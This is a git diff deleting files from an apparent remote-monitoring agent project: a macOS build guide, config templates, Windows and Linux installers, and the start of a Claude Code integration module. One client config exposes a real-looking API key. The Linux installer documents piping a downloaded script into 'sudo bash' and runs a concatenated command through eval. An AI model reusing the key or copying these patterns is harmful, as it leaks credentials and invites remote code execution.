- Ensure `CC_*` and `AR_*` environment variables are set
|
||||
- Verify osxcross binaries are in PATH
|
||||
|
||||
2. **Linker errors**:
|
||||
- Check `.cargo/config.toml` has correct linker paths
|
||||
- Verify osxcross installation at `/opt/osxcross/target/bin/`
|
||||
|
||||
3. **"native-tls" errors on macOS**:
|
||||
- Ensure Cargo.toml uses `rustls-tls-native-roots` for macOS targets
|
||||
- Conditional dependencies must be properly configured
|
||||
|
||||
### Testing Binaries
|
||||
|
||||
To verify a macOS binary was built correctly:
|
||||
|
||||
```bash
|
||||
# On build server
|
||||
file target/x86_64-apple-darwin/release/gururmm-agent
|
||||
# Output: Mach-O 64-bit executable x86_64
|
||||
|
||||
file target/aarch64-apple-darwin/release/gururmm-agent
|
||||
# Output: Mach-O 64-bit executable arm64
|
||||
```
|
||||
|
||||
On an actual Mac, the binary should run without errors:
|
||||
```bash
|
||||
./gururmm-agent --version
|
||||
# Output: gururmm-agent 0.6.0
|
||||
```
|
||||
|
||||
## Maintenance
|
||||
|
||||
### Updating osxcross
|
||||
|
||||
To update to a newer macOS SDK:
|
||||
|
||||
1. Download SDK from https://github.com/joseluisq/macosx-sdks/releases
|
||||
2. Place in `/opt/osxcross/tarballs/`
|
||||
3. Run `/opt/osxcross/build.sh`
|
||||
4. Update linker paths in `.cargo/config.toml` if SDK version changes
|
||||
|
||||
### Updating Rust Targets
|
||||
|
||||
```bash
|
||||
rustup target add x86_64-apple-darwin
|
||||
rustup target add aarch64-apple-darwin
|
||||
```
|
||||
|
||||
## Security Notes
|
||||
|
||||
- macOS SDK usage is in a legal gray area; osxcross requires accepting Xcode license terms
|
||||
- Binaries built with osxcross are functionally identical to native macOS builds
|
||||
- TLS implementation (rustls) is audited and widely used in production Rust applications
|
||||
- No code signing is performed; users will need to approve binary on first run
|
||||
|
||||
## CI/CD Integration
|
||||
|
||||
The build script can be integrated into automated builds:
|
||||
|
||||
```bash
|
||||
# Example: Build on git push
|
||||
cd ~/gururmm/agent
|
||||
git pull
|
||||
./build-macos.sh
|
||||
# Copy to deployment directory
|
||||
cp dist/gururmm-agent-macos-* /var/www/gururmm/downloads/
|
||||
```
|
||||
|
||||
## Performance
|
||||
|
||||
Cross-compiled binaries perform identically to native builds:
|
||||
- No runtime overhead from cross-compilation
|
||||
- Full optimization with `opt-level = "z"` and LTO
|
||||
- Binary stripping reduces size without affecting performance
|
||||
|
||||
## Future Enhancements
|
||||
|
||||
- [ ] Code signing for macOS binaries (requires Apple Developer account)
|
||||
- [ ] Notarization for Gatekeeper compatibility
|
||||
- [ ] Universal binary (combined Intel + ARM)
|
||||
- [ ] Automated CI/CD pipeline with GitHub Actions (macOS runners)
|
||||
|
||||
---
|
||||
|
||||
**Last Updated**: 2026-04-03
|
||||
**Build Server**: 172.16.3.30 (Ubuntu 22.04)
|
||||
**osxcross Version**: 1.5
|
||||
**SDK Version**: macOS 14.5 (darwin23.5)
|
||||
@@ -1,77 +0,0 @@
|
||||
# GuruRMM Agent Configuration
|
||||
# Copy this file to agent.toml and configure with your server details
|
||||
|
||||
# ============================================
|
||||
# Server Connection
|
||||
# ============================================
|
||||
[server]
|
||||
# WebSocket URL for the GuruRMM server
|
||||
# Use wss:// for production (TLS), ws:// for local development
|
||||
url = "wss://rmm.yourdomain.com/ws"
|
||||
|
||||
# API key obtained from server during agent registration
|
||||
# Keep this secret! Do not commit to version control.
|
||||
api_key = "grmm_your_api_key_here"
|
||||
|
||||
# Optional: Override the hostname reported to the server
|
||||
# hostname_override = "custom-hostname"
|
||||
|
||||
# ============================================
|
||||
# Metrics Collection
|
||||
# ============================================
|
||||
[metrics]
|
||||
# Interval between metrics reports (in seconds)
|
||||
# Minimum: 10, Default: 60
|
||||
interval_seconds = 60
|
||||
|
||||
# Enable/disable specific metric types
|
||||
collect_cpu = true
|
||||
collect_memory = true
|
||||
collect_disk = true
|
||||
collect_network = true
|
||||
|
||||
# ============================================
|
||||
# Watchdog Configuration
|
||||
# ============================================
|
||||
[watchdog]
|
||||
# Enable service/process monitoring
|
||||
enabled = true
|
||||
|
||||
# Interval between watchdog checks (in seconds)
|
||||
# Minimum: 5, Default: 30
|
||||
check_interval_seconds = 30
|
||||
|
||||
# ============================================
|
||||
# Services to Monitor
|
||||
# ============================================
|
||||
|
||||
# Datto RMM Agent Service
|
||||
[[watchdog.services]]
|
||||
name = "CagService"
|
||||
action = "restart" # "restart", "alert", or "ignore"
|
||||
max_restarts = 3 # Max restarts before alerting
|
||||
restart_cooldown_seconds = 60
|
||||
|
||||
# Syncro Agent Service
|
||||
[[watchdog.services]]
|
||||
name = "Syncro"
|
||||
action = "restart"
|
||||
max_restarts = 3
|
||||
restart_cooldown_seconds = 60
|
||||
|
||||
# ConnectWise ScreenConnect (optional)
|
||||
# [[watchdog.services]]
|
||||
# name = "ScreenConnect Client (xxxxxxxx)"
|
||||
# action = "restart"
|
||||
# max_restarts = 3
|
||||
# restart_cooldown_seconds = 60
|
||||
|
||||
# ============================================
|
||||
# Processes to Monitor
|
||||
# ============================================
|
||||
|
||||
# Datto AEM Process
|
||||
[[watchdog.processes]]
|
||||
name = "AEM.exe"
|
||||
action = "alert" # "alert" only for processes (can't auto-restart)
|
||||
# start_command = "C:\\Path\\To\\AEM.exe" # Optional: command to start process
|
||||
@@ -1,70 +0,0 @@
|
||||
#!/bin/bash
|
||||
set -e
|
||||
|
||||
# Build script for GuruRMM agent - macOS only
|
||||
# Supports: macOS (Intel & Apple Silicon)
|
||||
|
||||
echo "=== GuruRMM Agent macOS Build ==="
|
||||
echo ""
|
||||
|
||||
# Add osxcross to PATH
|
||||
export PATH="/opt/osxcross/target/bin:$PATH"
|
||||
|
||||
# Source cargo environment
|
||||
source ~/.cargo/env
|
||||
|
||||
# Set up cross-compilation environment variables for macOS
|
||||
export CC_x86_64_apple_darwin=x86_64-apple-darwin23.5-clang
|
||||
export AR_x86_64_apple_darwin=x86_64-apple-darwin23.5-ar
|
||||
export CC_aarch64_apple_darwin=aarch64-apple-darwin23.5-clang
|
||||
export AR_aarch64_apple_darwin=aarch64-apple-darwin23.5-ar
|
||||
|
||||
# Output directory
|
||||
OUTPUT_DIR="$(dirname "$0")/dist"
|
||||
|
||||
# Create output directory
|
||||
mkdir -p "$OUTPUT_DIR"
|
||||
|
||||
# Get version from Cargo.toml
|
||||
VERSION=$(grep '^version' Cargo.toml | head -1 | cut -d'"' -f2)
|
||||
echo "Building GuruRMM Agent v$VERSION for macOS"
|
||||
echo ""
|
||||
|
||||
# Function to build for a target
|
||||
build_target() {
|
||||
local target=$1
|
||||
local name=$2
|
||||
local ext=$3
|
||||
|
||||
echo "[INFO] Building for $name ($target)..."
|
||||
cargo build --release --target $target
|
||||
|
||||
local binary_name="gururmm-agent$ext"
|
||||
local output_name="gururmm-agent-$name-v$VERSION$ext"
|
||||
|
||||
cp "target/$target/release/$binary_name" "$OUTPUT_DIR/$output_name"
|
||||
|
||||
# Create SHA256 checksum
|
||||
cd "$OUTPUT_DIR"
|
||||
sha256sum "$output_name" > "$output_name.sha256"
|
||||
cd - > /dev/null
|
||||
|
||||
# Get file size
|
||||
local size=$(du -h "$OUTPUT_DIR/$output_name" | cut -f1)
|
||||
echo "[SUCCESS] Built $output_name ($size)"
|
||||
echo ""
|
||||
}
|
||||
|
||||
# Build for macOS platforms
|
||||
echo "=== Building for macOS (Intel) ==="
|
||||
build_target "x86_64-apple-darwin" "macos-amd64" ""
|
||||
|
||||
echo "=== Building for macOS (Apple Silicon) ==="
|
||||
build_target "aarch64-apple-darwin" "macos-arm64" ""
|
||||
|
||||
echo ""
|
||||
echo "=== Build Complete ==="
|
||||
echo ""
|
||||
echo "Artifacts in: $OUTPUT_DIR"
|
||||
ls -lh "$OUTPUT_DIR"
|
||||
|
||||
@@ -1,42 +0,0 @@
|
||||
# GuruRMM Agent Configuration
|
||||
# Client: Glaztech Industries
|
||||
# Site: SLC - Salt Lake City
|
||||
# Site Code: DARK-GROVE-7839
|
||||
|
||||
[server]
|
||||
# WebSocket URL for the GuruRMM server
|
||||
url = "wss://rmm-api.azcomputerguru.com/ws"
|
||||
|
||||
# API key for this site
|
||||
api_key = "grmm_Qw64eawPBjnMdwN5UmDGWoPlqwvjM7lI"
|
||||
|
||||
[metrics]
|
||||
# Interval between metrics reports (in seconds)
|
||||
interval_seconds = 60
|
||||
|
||||
# Enable/disable specific metric types
|
||||
collect_cpu = true
|
||||
collect_memory = true
|
||||
collect_disk = true
|
||||
collect_network = true
|
||||
|
||||
[watchdog]
|
||||
# Enable service/process monitoring
|
||||
enabled = true
|
||||
|
||||
# Interval between watchdog checks (in seconds)
|
||||
check_interval_seconds = 30
|
||||
|
||||
# Datto RMM Agent Service
|
||||
[[watchdog.services]]
|
||||
name = "CagService"
|
||||
action = "restart"
|
||||
max_restarts = 3
|
||||
restart_cooldown_seconds = 60
|
||||
|
||||
# Syncro Agent Service
|
||||
[[watchdog.services]]
|
||||
name = "Syncro"
|
||||
action = "restart"
|
||||
max_restarts = 3
|
||||
restart_cooldown_seconds = 60
|
||||
@@ -1,199 +0,0 @@
|
||||
# GuruRMM Agent Installer
|
||||
# Client: Glaztech Industries
|
||||
# Site: SLC - Salt Lake City
|
||||
# Compatible with: Windows 7 SP1+ / PowerShell 2.0+
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
# Get script directory (works on all PowerShell versions including 2.0)
|
||||
$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Definition
|
||||
if (-not $ScriptDir) { $ScriptDir = (Get-Location).Path }
|
||||
|
||||
$InstallPath = "C:\Program Files\GuruRMM"
|
||||
$ConfigPath = "C:\ProgramData\GuruRMM"
|
||||
$ServiceName = "GuruRMMAgent"
|
||||
|
||||
Write-Host "GuruRMM Agent Installer" -ForegroundColor Cyan
|
||||
Write-Host "========================" -ForegroundColor Cyan
|
||||
Write-Host "Client: Glaztech Industries"
|
||||
Write-Host "Site: SLC - Salt Lake City"
|
||||
Write-Host ""
|
||||
|
||||
# Check for admin privileges
|
||||
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
|
||||
if (-not $isAdmin) {
|
||||
Write-Host "ERROR: Please run as Administrator" -ForegroundColor Red
|
||||
Write-Host "Right-click PowerShell and select 'Run as Administrator'"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Check Windows version
|
||||
$osVersion = [Environment]::OSVersion.Version
|
||||
Write-Host "Detected Windows version: $($osVersion.Major).$($osVersion.Minor)" -ForegroundColor Gray
|
||||
if ($osVersion.Major -lt 6 -or ($osVersion.Major -eq 6 -and $osVersion.Minor -lt 1)) {
|
||||
Write-Host "ERROR: Windows 7 SP1 or later is required" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Enable TLS 1.2 on Windows 7/8/8.1 if needed (required for secure connections)
|
||||
# Windows 10+ has TLS 1.2 enabled by default
|
||||
if ($osVersion.Major -eq 6) {
|
||||
Write-Host "Checking TLS 1.2 support..." -ForegroundColor Gray
|
||||
|
||||
$tls12Path = "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2"
|
||||
$tls12ClientPath = "$tls12Path\Client"
|
||||
$needsReboot = $false
|
||||
|
||||
# Check if TLS 1.2 Client key exists and is enabled
|
||||
$tls12Enabled = $false
|
||||
try {
|
||||
if (Test-Path $tls12ClientPath) {
|
||||
$enabled = Get-ItemProperty -Path $tls12ClientPath -Name "Enabled" -ErrorAction SilentlyContinue
|
||||
$disabled = Get-ItemProperty -Path $tls12ClientPath -Name "DisabledByDefault" -ErrorAction SilentlyContinue
|
||||
if ($enabled.Enabled -eq 1 -and $disabled.DisabledByDefault -eq 0) {
|
||||
$tls12Enabled = $true
|
||||
}
|
||||
}
|
||||
} catch {}
|
||||
|
||||
if (-not $tls12Enabled) {
|
||||
Write-Host "Enabling TLS 1.2 for secure connections..." -ForegroundColor Yellow
|
||||
|
||||
# Create protocol keys if they don't exist
|
||||
if (-not (Test-Path $tls12Path)) {
|
||||
New-Item -Path $tls12Path -Force | Out-Null
|
||||
}
|
||||
if (-not (Test-Path $tls12ClientPath)) {
|
||||
New-Item -Path $tls12ClientPath -Force | Out-Null
|
||||
}
|
||||
|
||||
# Enable TLS 1.2 for client connections
|
||||
New-ItemProperty -Path $tls12ClientPath -Name "Enabled" -Value 1 -PropertyType DWORD -Force | Out-Null
|
||||
New-ItemProperty -Path $tls12ClientPath -Name "DisabledByDefault" -Value 0 -PropertyType DWORD -Force | Out-Null
|
||||
|
||||
# Also create Server keys for completeness
|
||||
$tls12ServerPath = "$tls12Path\Server"
|
||||
if (-not (Test-Path $tls12ServerPath)) {
|
||||
New-Item -Path $tls12ServerPath -Force | Out-Null
|
||||
}
|
||||
New-ItemProperty -Path $tls12ServerPath -Name "Enabled" -Value 1 -PropertyType DWORD -Force | Out-Null
|
||||
New-ItemProperty -Path $tls12ServerPath -Name "DisabledByDefault" -Value 0 -PropertyType DWORD -Force | Out-Null
|
||||
|
||||
# Enable TLS 1.2 in WinHTTP (for .NET and other apps)
|
||||
$winHttpPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp"
|
||||
try {
|
||||
if (-not (Test-Path $winHttpPath)) {
|
||||
New-Item -Path $winHttpPath -Force | Out-Null
|
||||
}
|
||||
# 0x800 = TLS 1.2
|
||||
New-ItemProperty -Path $winHttpPath -Name "DefaultSecureProtocols" -Value 0x800 -PropertyType DWORD -Force | Out-Null
|
||||
} catch {}
|
||||
|
||||
# Also for 64-bit on 32-bit keys
|
||||
$winHttp64Path = "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp"
|
||||
try {
|
||||
if (Test-Path "HKLM:\SOFTWARE\Wow6432Node") {
|
||||
if (-not (Test-Path $winHttp64Path)) {
|
||||
New-Item -Path $winHttp64Path -Force | Out-Null
|
||||
}
|
||||
New-ItemProperty -Path $winHttp64Path -Name "DefaultSecureProtocols" -Value 0x800 -PropertyType DWORD -Force | Out-Null
|
||||
}
|
||||
} catch {}
|
||||
|
||||
Write-Host " TLS 1.2 enabled successfully" -ForegroundColor Green
|
||||
$needsReboot = $true
|
||||
} else {
|
||||
Write-Host " TLS 1.2 already enabled" -ForegroundColor Gray
|
||||
}
|
||||
|
||||
if ($needsReboot) {
|
||||
Write-Host " NOTE: A reboot may be required for TLS changes to take effect" -ForegroundColor Yellow
|
||||
}
|
||||
}
|
||||
|
||||
# Stop existing service if running
|
||||
$service = $null
|
||||
try { $service = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue } catch {}
|
||||
if ($service) {
|
||||
Write-Host "Stopping existing service..." -ForegroundColor Yellow
|
||||
try { Stop-Service -Name $ServiceName -Force -ErrorAction SilentlyContinue } catch {}
|
||||
Start-Sleep -Seconds 3
|
||||
}
|
||||
|
||||
# Create install directory
|
||||
Write-Host "Creating install directory: $InstallPath" -ForegroundColor Green
|
||||
if (-not (Test-Path $InstallPath)) {
|
||||
New-Item -ItemType Directory -Path $InstallPath -Force | Out-Null
|
||||
}
|
||||
|
||||
# Create config directory
|
||||
Write-Host "Creating config directory: $ConfigPath" -ForegroundColor Green
|
||||
if (-not (Test-Path $ConfigPath)) {
|
||||
New-Item -ItemType Directory -Path $ConfigPath -Force | Out-Null
|
||||
}
|
||||
|
||||
# Verify source files exist
|
||||
if (-not (Test-Path "$ScriptDir\gururmm-agent.exe")) {
|
||||
Write-Host "ERROR: gururmm-agent.exe not found in $ScriptDir" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
if (-not (Test-Path "$ScriptDir\agent.toml")) {
|
||||
Write-Host "ERROR: agent.toml not found in $ScriptDir" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Copy files
|
||||
Write-Host "Copying agent files..." -ForegroundColor Green
|
||||
Write-Host " Source: $ScriptDir" -ForegroundColor Gray
|
||||
Copy-Item -Path "$ScriptDir\gururmm-agent.exe" -Destination "$InstallPath\gururmm-agent.exe" -Force
|
||||
Copy-Item -Path "$ScriptDir\agent.toml" -Destination "$ConfigPath\agent.toml" -Force
|
||||
|
||||
Write-Host " Binary: $InstallPath\gururmm-agent.exe" -ForegroundColor Gray
|
||||
Write-Host " Config: $ConfigPath\agent.toml" -ForegroundColor Gray
|
||||
|
||||
# Install Windows service
|
||||
Write-Host "Installing Windows service..." -ForegroundColor Green
|
||||
$installResult = & "$InstallPath\gururmm-agent.exe" install 2>&1
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
Write-Host "Service installation output:" -ForegroundColor Yellow
|
||||
Write-Host $installResult
|
||||
}
|
||||
|
||||
# Wait for service to register
|
||||
Start-Sleep -Seconds 2
|
||||
|
||||
# Start the service
|
||||
Write-Host "Starting service..." -ForegroundColor Green
|
||||
$startResult = & "$InstallPath\gururmm-agent.exe" start 2>&1
|
||||
if ($LASTEXITCODE -ne 0) {
|
||||
Write-Host "Service start output:" -ForegroundColor Yellow
|
||||
Write-Host $startResult
|
||||
}
|
||||
|
||||
# Verify service status
|
||||
Start-Sleep -Seconds 3
|
||||
$service = $null
|
||||
try { $service = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue } catch {}
|
||||
|
||||
if ($service -and $service.Status -eq "Running") {
|
||||
Write-Host ""
|
||||
Write-Host "========================================" -ForegroundColor Green
|
||||
Write-Host "SUCCESS: GuruRMM Agent installed and running!" -ForegroundColor Green
|
||||
Write-Host "========================================" -ForegroundColor Green
|
||||
Write-Host ""
|
||||
Write-Host "Site Code: DARK-GROVE-7839" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
Write-Host "Useful commands:" -ForegroundColor White
|
||||
Write-Host " Status: $InstallPath\gururmm-agent.exe status"
|
||||
Write-Host " Stop: $InstallPath\gururmm-agent.exe stop"
|
||||
Write-Host " Start: $InstallPath\gururmm-agent.exe start"
|
||||
Write-Host " Uninstall: $InstallPath\gururmm-agent.exe uninstall"
|
||||
} elseif ($service) {
|
||||
Write-Host ""
|
||||
Write-Host "WARNING: Service installed but status is: $($service.Status)" -ForegroundColor Yellow
|
||||
Write-Host "Check logs in Event Viewer > Windows Logs > Application"
|
||||
} else {
|
||||
Write-Host ""
|
||||
Write-Host "WARNING: Service may not have installed correctly" -ForegroundColor Yellow
|
||||
Write-Host "Try running manually: $InstallPath\gururmm-agent.exe status"
|
||||
}
|
||||
@@ -1,84 +0,0 @@
|
||||
# GuruRMM Agent Uninstaller
|
||||
# Compatible with: Windows 7 SP1+ / PowerShell 2.0+
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
|
||||
$InstallPath = "C:\Program Files\GuruRMM"
|
||||
$ConfigPath = "C:\ProgramData\GuruRMM"
|
||||
$ServiceName = "GuruRMMAgent"
|
||||
|
||||
Write-Host "GuruRMM Agent Uninstaller" -ForegroundColor Cyan
|
||||
Write-Host "==========================" -ForegroundColor Cyan
|
||||
Write-Host ""
|
||||
|
||||
# Check for admin privileges
|
||||
$isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]"Administrator")
|
||||
if (-not $isAdmin) {
|
||||
Write-Host "ERROR: Please run as Administrator" -ForegroundColor Red
|
||||
Write-Host "Right-click PowerShell and select 'Run as Administrator'"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Check if agent executable exists
|
||||
$agentExe = "$InstallPath\gururmm-agent.exe"
|
||||
|
||||
if (Test-Path $agentExe) {
|
||||
# Use the agent's built-in uninstall command
|
||||
Write-Host "Running agent uninstall..." -ForegroundColor Yellow
|
||||
$uninstallResult = & $agentExe uninstall 2>&1
|
||||
Write-Host $uninstallResult
|
||||
Start-Sleep -Seconds 3
|
||||
} else {
|
||||
# Manual cleanup if agent exe is missing
|
||||
Write-Host "Agent executable not found, performing manual cleanup..." -ForegroundColor Yellow
|
||||
|
||||
# Try to stop and remove service manually
|
||||
$service = $null
|
||||
try { $service = Get-Service -Name $ServiceName -ErrorAction SilentlyContinue } catch {}
|
||||
if ($service) {
|
||||
Write-Host "Stopping service..." -ForegroundColor Yellow
|
||||
try { Stop-Service -Name $ServiceName -Force -ErrorAction SilentlyContinue } catch {}
|
||||
Start-Sleep -Seconds 2
|
||||
|
||||
Write-Host "Removing service..." -ForegroundColor Yellow
|
||||
$scResult = & sc.exe delete $ServiceName 2>&1
|
||||
Write-Host $scResult
|
||||
Start-Sleep -Seconds 2
|
||||
}
|
||||
}
|
||||
|
||||
# Remove install directory
|
||||
if (Test-Path $InstallPath) {
|
||||
Write-Host "Removing install directory: $InstallPath" -ForegroundColor Yellow
|
||||
try {
|
||||
Remove-Item -Path $InstallPath -Recurse -Force -ErrorAction Stop
|
||||
Write-Host " Removed successfully" -ForegroundColor Gray
|
||||
} catch {
|
||||
Write-Host " WARNING: Could not remove (files may be in use)" -ForegroundColor Yellow
|
||||
Write-Host " Try again after reboot or manually delete: $InstallPath"
|
||||
}
|
||||
}
|
||||
|
||||
# Ask about config directory
|
||||
if (Test-Path $ConfigPath) {
|
||||
Write-Host ""
|
||||
Write-Host "Config directory exists: $ConfigPath" -ForegroundColor Yellow
|
||||
Write-Host "This contains your agent configuration (agent.toml)."
|
||||
Write-Host ""
|
||||
$response = Read-Host "Remove config directory? (y/N)"
|
||||
if ($response -eq "y" -or $response -eq "Y") {
|
||||
try {
|
||||
Remove-Item -Path $ConfigPath -Recurse -Force -ErrorAction Stop
|
||||
Write-Host "Config directory removed" -ForegroundColor Gray
|
||||
} catch {
|
||||
Write-Host "WARNING: Could not remove config directory" -ForegroundColor Yellow
|
||||
}
|
||||
} else {
|
||||
Write-Host "Config directory preserved at: $ConfigPath" -ForegroundColor Gray
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host ""
|
||||
Write-Host "========================================" -ForegroundColor Green
|
||||
Write-Host "GuruRMM Agent uninstalled successfully!" -ForegroundColor Green
|
||||
Write-Host "========================================" -ForegroundColor Green
|
||||
@@ -1,233 +0,0 @@
|
||||
#!/bin/bash
|
||||
#
|
||||
# GuruRMM Agent Installer
|
||||
#
|
||||
# Usage:
|
||||
# curl -fsSL https://rmm.azcomputerguru.com/install.sh | sudo bash -s -- --api-key YOUR_KEY
|
||||
#
|
||||
# Or download and run locally:
|
||||
# ./install.sh --server-url wss://rmm-api.example.com/ws --api-key YOUR_KEY
|
||||
#
|
||||
|
||||
set -e
|
||||
|
||||
# Colors for output
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
NC='\033[0m' # No Color
|
||||
|
||||
# Default values
|
||||
DOWNLOAD_URL="${GURURMM_DOWNLOAD_URL:-https://rmm.azcomputerguru.com/downloads/gururmm-agent-linux-amd64}"
|
||||
SERVER_URL=""
|
||||
API_KEY=""
|
||||
SKIP_LEGACY_CHECK=""
|
||||
TMP_DIR=""
|
||||
|
||||
# Cleanup function
|
||||
cleanup() {
|
||||
if [ -n "$TMP_DIR" ] && [ -d "$TMP_DIR" ]; then
|
||||
rm -rf "$TMP_DIR"
|
||||
fi
|
||||
}
|
||||
|
||||
trap cleanup EXIT
|
||||
|
||||
# Print colored message
|
||||
info() {
|
||||
echo -e "${GREEN}[INFO]${NC} $1"
|
||||
}
|
||||
|
||||
warn() {
|
||||
echo -e "${YELLOW}[WARN]${NC} $1"
|
||||
}
|
||||
|
||||
error() {
|
||||
echo -e "${RED}[ERROR]${NC} $1"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Show usage
|
||||
usage() {
|
||||
cat <<EOF
|
||||
GuruRMM Agent Installer
|
||||
|
||||
Usage: $0 [OPTIONS]
|
||||
|
||||
Options:
|
||||
--server-url URL Server WebSocket URL (e.g., wss://rmm-api.example.com/ws)
|
||||
--api-key KEY API key for authentication (required)
|
||||
--download-url URL Override the default binary download URL
|
||||
--skip-legacy-check Skip legacy service detection and cleanup
|
||||
-h, --help Show this help message
|
||||
|
||||
Examples:
|
||||
# Install with API key (uses default server URL)
|
||||
sudo $0 --api-key grmm_abc123...
|
||||
|
||||
# Install with custom server URL
|
||||
sudo $0 --server-url wss://my-server.com/ws --api-key grmm_abc123...
|
||||
|
||||
# Install from custom download URL
|
||||
sudo $0 --download-url https://myserver.com/agent --api-key grmm_abc123...
|
||||
|
||||
EOF
|
||||
exit 0
|
||||
}
|
||||
|
||||
# Parse arguments
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case $1 in
|
||||
--server-url)
|
||||
SERVER_URL="$2"
|
||||
shift 2
|
||||
;;
|
||||
--api-key)
|
||||
API_KEY="$2"
|
||||
shift 2
|
||||
;;
|
||||
--download-url)
|
||||
DOWNLOAD_URL="$2"
|
||||
shift 2
|
||||
;;
|
||||
--skip-legacy-check)
|
||||
SKIP_LEGACY_CHECK="--skip-legacy-check"
|
||||
shift
|
||||
;;
|
||||
-h|--help)
|
||||
usage
|
||||
;;
|
||||
*)
|
||||
error "Unknown option: $1"
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
# Check if running as root
|
||||
if [ "$EUID" -ne 0 ]; then
|
||||
error "This script must be run as root. Use: sudo $0 $*"
|
||||
fi
|
||||
|
||||
# Validate required arguments
|
||||
if [ -z "$API_KEY" ]; then
|
||||
error "API key is required. Use --api-key YOUR_KEY"
|
||||
fi
|
||||
|
||||
# Detect OS and architecture
|
||||
detect_platform() {
|
||||
local os=""
|
||||
local arch=""
|
||||
|
||||
case "$(uname -s)" in
|
||||
Linux)
|
||||
os="linux"
|
||||
;;
|
||||
Darwin)
|
||||
os="darwin"
|
||||
;;
|
||||
*)
|
||||
error "Unsupported operating system: $(uname -s)"
|
||||
;;
|
||||
esac
|
||||
|
||||
case "$(uname -m)" in
|
||||
x86_64|amd64)
|
||||
arch="amd64"
|
||||
;;
|
||||
aarch64|arm64)
|
||||
arch="arm64"
|
||||
;;
|
||||
armv7l)
|
||||
arch="armv7"
|
||||
;;
|
||||
*)
|
||||
error "Unsupported architecture: $(uname -m)"
|
||||
;;
|
||||
esac
|
||||
|
||||
echo "${os}-${arch}"
|
||||
}
|
||||
|
||||
# Check for required commands
|
||||
check_dependencies() {
|
||||
local missing=""
|
||||
|
||||
for cmd in curl chmod; do
|
||||
if ! command -v "$cmd" &> /dev/null; then
|
||||
missing="$missing $cmd"
|
||||
fi
|
||||
done
|
||||
|
||||
if [ -n "$missing" ]; then
|
||||
error "Missing required commands:$missing"
|
||||
fi
|
||||
}
|
||||
|
||||
# Download the agent binary
|
||||
download_agent() {
|
||||
local platform="$1"
|
||||
local dest="$2"
|
||||
|
||||
# Adjust download URL for platform if not overridden
|
||||
local url="$DOWNLOAD_URL"
|
||||
if [[ "$DOWNLOAD_URL" == *"linux-amd64"* ]]; then
|
||||
url="${DOWNLOAD_URL/linux-amd64/$platform}"
|
||||
fi
|
||||
|
||||
info "Downloading agent from: $url"
|
||||
|
||||
if ! curl -fsSL -o "$dest" "$url"; then
|
||||
error "Failed to download agent binary"
|
||||
fi
|
||||
|
||||
chmod +x "$dest"
|
||||
info "Downloaded to: $dest"
|
||||
}
|
||||
|
||||
# Main installation
|
||||
main() {
|
||||
info "GuruRMM Agent Installer"
|
||||
info "======================"
|
||||
|
||||
check_dependencies
|
||||
|
||||
local platform
|
||||
platform=$(detect_platform)
|
||||
info "Detected platform: $platform"
|
||||
|
||||
# Create temp directory
|
||||
TMP_DIR=$(mktemp -d)
|
||||
local agent_binary="$TMP_DIR/gururmm-agent"
|
||||
|
||||
# Download the agent
|
||||
download_agent "$platform" "$agent_binary"
|
||||
|
||||
# Build install command
|
||||
local install_cmd="$agent_binary install"
|
||||
|
||||
if [ -n "$SERVER_URL" ]; then
|
||||
install_cmd="$install_cmd --server-url \"$SERVER_URL\""
|
||||
fi
|
||||
|
||||
install_cmd="$install_cmd --api-key \"$API_KEY\""
|
||||
|
||||
if [ -n "$SKIP_LEGACY_CHECK" ]; then
|
||||
install_cmd="$install_cmd $SKIP_LEGACY_CHECK"
|
||||
fi
|
||||
|
||||
info "Running installation..."
|
||||
|
||||
# Execute install command
|
||||
eval "$install_cmd"
|
||||
|
||||
info ""
|
||||
info "Installation complete!"
|
||||
info ""
|
||||
info "Check agent status with:"
|
||||
info " sudo systemctl status gururmm-agent"
|
||||
info ""
|
||||
info "View logs with:"
|
||||
info " sudo journalctl -u gururmm-agent -f"
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,452 +0,0 @@
|
||||
// GuruRMM Agent - Claude Code Integration Module
|
||||
// Enables Main Claude to invoke Claude Code CLI on AD2 for automated tasks
|
||||
//
|
||||
// Security Features:
|
||||
// - Working directory validation (restricted to C:\Shares\test)
|
||||
// - Task input sanitization (prevents command injection)
|
||||
// - Rate limiting (max 10 tasks per hour)
|
||||
// - Concurrent execution limiting (max 2 simultaneous tasks)
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::process::Stdio;
|
||||
use std::sync::{Arc, Mutex};
|
||||
use std::time::{Duration, Instant};
|
||||
use tokio::io::{AsyncBufReadExt, BufReader};
|
||||
use tokio::process::Command;
|
||||
use tokio::time::timeout;
|
||||
|
||||
/// Configuration constants
|
||||
const DEFAULT_WORKING_DIR: &str = r"C:\Shares\test";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 300; // 5 minutes
|
||||
const MAX_CONCURRENT_TASKS: usize = 2;
|
||||
const RATE_LIMIT_WINDOW_SECS: u64 = 3600; // 1 hour
|
||||
const MAX_TASKS_PER_WINDOW: usize = 10;
|
